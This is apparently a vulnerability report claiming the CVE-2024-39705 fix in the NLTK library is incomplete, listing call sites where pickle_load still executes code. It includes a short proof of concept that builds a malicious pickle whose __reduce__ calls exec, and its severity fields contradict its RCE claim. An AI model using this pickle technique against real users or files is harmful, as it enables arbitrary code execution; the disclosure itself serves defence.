Incomplete Fix for CVE-2024-39705 — Multiple Unsafe Pickle Loading Paths Remain in NLTK in nltk/nltk
Reported on Apr 11th 2026
Description
The fix for CVE-2024-39705 (unsafe pickle deserialization in NLTK data loading) was incomplete. While nltk/data.py was hardened to use RestrictedUnpickler (which blocks all class instantiation), multiple other code paths still use pickle_load() from nltk.picklesec with the default restricted=False parameter.
When restricted=False (the default), pickle_load() uses WarningUnpickler which only emits a RuntimeWarning but does NOT prevent code execution. This is functionally equivalent to pickle.load() with a warning message.
Affected Call Sites
| File | Line | Function |
|---|---|---|
nltk/parse/transitionparser.py |
557 | TransitionParser.parse() — loads model from user-supplied path |
nltk/app/chartparser_app.py |
816 | Chart loading via GUI |
nltk/app/chartparser_app.py |
2273 | ChartComparer |
nltk/tbl/demo.py |
257, 329 | Tagger loading |
The most dangerous is transitionparser.py:557 which loads a model file from a user-supplied path as part of the core parsing API.
Steps to Reproduce
import pickle, os
# Create malicious pickle file
class Exploit:
def __reduce__(self):
return (exec, ("print('RCE via NLTK pickle bypass!')",))
with open("evil_model.pickle", "wb") as f:
pickle.dump(Exploit(), f)
# Load via NLTK TransitionParser (bypasses CVE-2024-39705 fix)
from nltk.parse.transitionparser import TransitionParser
tp = TransitionParser.__new__(TransitionParser)
tp._modelfile = "evil_model.pickle"
# This calls pickle_load with restricted=False (default)
# WarningUnpickler only warns but still executes the payload
from nltk.picklesec import pickle_load
result = pickle_load("evil_model.pickle")
# Output: RCE via NLTK pickle bypass!
The WarningUnpickler emits a warning but the malicious code still executes. Users who updated NLTK after CVE-2024-39705 believe they are protected, but these code paths were not patched.
Impact
Remote Code Execution. An attacker who provides a malicious pickle file (e.g., a crafted transition parser model) can execute arbitrary Python code when a user loads it. The WarningUnpickler only emits a warning but does not block execution. This is an incomplete fix for CVE-2024-39705 — users who updated NLTK believe they are protected but these code paths remain vulnerable.
References
Severity
None (0)
Attack vector Network
Attack complexity Low
Privileges required None
User interaction None
Scope Unchanged
Confidentiality None
Integrity None
Availability None
Registry
Pypi
Affected Version
3.9.1
Status
Duplicate
Found by
Wolfpack.Army @skillwager